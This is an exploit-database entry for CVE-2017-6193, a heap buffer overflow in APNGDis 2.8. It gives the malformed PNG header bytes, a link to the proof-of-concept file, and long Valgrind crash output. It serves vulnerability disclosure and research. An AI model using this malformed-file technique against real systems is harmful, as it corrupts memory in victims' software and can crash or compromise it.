APNGDis 2.8 – ‘image width / height chunk’ Heap Buffer Overflow

  • 作者: Alwin Peppels
    日期: 2017-03-14
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41669/
  • # Exploit Title: APNGDis image width / height Buffer Overflow
    # Date: 14-03-2017
    # Exploit Author: Alwin Peppels
    # Vendor Homepage: http://apngdis.sourceforge.net/
    # Software Link: https://sourceforge.net/projects/apngdis/files/2.8/
    # Version: 2.8
    # Tested on: Linux Debian / Windows 7
    # CVE : CVE-2017-6193
    
    Additional analysis:
    https://www.onvio.nl/nieuws/cve-2017-6193
    
    POC:
    
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41669.png
    
    In the first bytes of the PoC, positions +0x10 through +0x17 are malformed to contain large values:
    
    ‰PNG........IHDR
    89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 
    
    ........ 
    00 0F 00 00 00 0F 00 00 
    
    ^^^^^^^^
    
    Valgrind:
    
    
    Reading '../w_h_chunk_poc.png'...
    ==10563== Invalid read of size 8
    ==10563==at 0x4C30260: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
    ==10563==by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
    ==10563==by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==Address 0x5edb3c8 is 28,792 bytes inside a block of size 65,593 free'd
    ==10563==at 0x4C2CDDB: free (vg_replace_malloc.c:530)
    ==10563==by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
    ==10563==by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==Block was alloc'd at
    ==10563==at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
    ==10563==by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
    ==10563==by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
    ==10563==by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563== 
    ==10563== Invalid write of size 8
    ==10563==at 0x4C30265: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
    ==10563==by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
    ==10563==by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==Address 0x5edbad8 is 30,600 bytes inside a block of size 65,593 free'd
    ==10563==at 0x4C2CDDB: free (vg_replace_malloc.c:530)
    ==10563==by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
    ==10563==by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==Block was alloc'd at
    ==10563==at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
    ==10563==by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
    ==10563==by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
    ==10563==by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563== 
    ==10563== Invalid read of size 8
    ==10563==at 0x4C30272: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
    ==10563==by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
    ==10563==by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==Address 0x5edb3b8 is 28,776 bytes inside a block of size 65,593 free'd
    ==10563==at 0x4C2CDDB: free (vg_replace_malloc.c:530)
    ==10563==by 0x54CF643: png_destroy_read_struct (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109E20: processing_finish(png_struct_def*, png_info_def*) (apngdis.cpp:176)
    ==10563==by 0x10A9FD: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:361)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==Block was alloc'd at
    ==10563==at 0x4C2BBAF: malloc (vg_replace_malloc.c:299)
    ==10563==by 0x54C97CD: png_malloc (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54DAF2D: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54CD3B0: png_read_update_info (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109838: info_fn(png_struct_def*, png_info_def*) (apngdis.cpp:58)
    ==10563==by 0x54CA2E0: ??? (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x54CAFBA: png_process_data (in /usr/lib/x86_64-linux-gnu/libpng16.so.16.28.0)
    ==10563==by 0x109D41: processing_data(png_struct_def*, png_info_def*, unsigned char*, unsigned int) (apngdis.cpp:158)
    ==10563==by 0x10A891: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:337)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563== 
    ==10563== Invalid read of size 8
    ==10563==at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
    ==10563==by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
    ==10563==by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==Address 0x0 is not stack'd, malloc'd or (recently) free'd
    ==10563== 
    ==10563== 
    ==10563== Process terminating with default action of signal 11 (SIGSEGV)
    ==10563==Access not within mapped region at address 0x0
    ==10563==at 0x4C30140: memcpy@GLIBC_2.2.5 (vg_replace_strmem.c:1017)
    ==10563==by 0x109924: compose_frame(unsigned char**, unsigned char**, unsigned char, unsigned int, unsigned int, unsigned int, unsigned int) (apngdis.cpp:78)
    ==10563==by 0x10AA40: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:363)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563==If you believe this happened as a result of a stack
    ==10563==overflow in your program's main thread (unlikely but
    ==10563==possible), you can try to increase the size of the
    ==10563==main thread stack using the --main-stacksize= flag.
    ==10563==The main thread stack size used in this run was 8388608.
    ==10563== 
    ==10563== HEAP SUMMARY:
    ==10563== in use at exit: 16,777,901 bytes in 10 blocks
    ==10563== total heap usage: 24 allocs, 14 frees, 16,997,058 bytes allocated
    ==10563== 
    ==10563== 64 bytes in 2 blocks are definitely lost in loss record 6 of 9
    ==10563==at 0x4C2C93F: operator new[](unsigned long) (vg_replace_malloc.c:423)
    ==10563==by 0x10B4ED: read_chunk(_IO_FILE*, CHUNK*) (apngdis.cpp:112)
    ==10563==by 0x10A24D: load_apng(char*, std::vector<APNGFrame, std::allocator<APNGFrame> >&) (apngdis.cpp:244)
    ==10563==by 0x10B24E: main (apngdis.cpp:498)
    ==10563== 
    ==10563== LEAK SUMMARY:
    ==10563==definitely lost: 64 bytes in 2 blocks
    ==10563==indirectly lost: 0 bytes in 0 blocks
    ==10563==possibly lost: 0 bytes in 0 blocks
    ==10563==still reachable: 16,777,837 bytes in 8 blocks
    ==10563== suppressed: 0 bytes in 0 blocks
    ==10563== Reachable blocks (those to which a pointer was found) are not shown.
    ==10563== To see them, rerun with: --leak-check=full --show-leak-kinds=all
    ==10563== 
    ==10563== For counts of detected and suppressed errors, rerun with: -v
    ==10563== ERROR SUMMARY: 1028641 errors from 5 contexts (suppressed: 0 from 0)
    Segmentation fault
    
    
    
    
    w_h_chunk_poc.png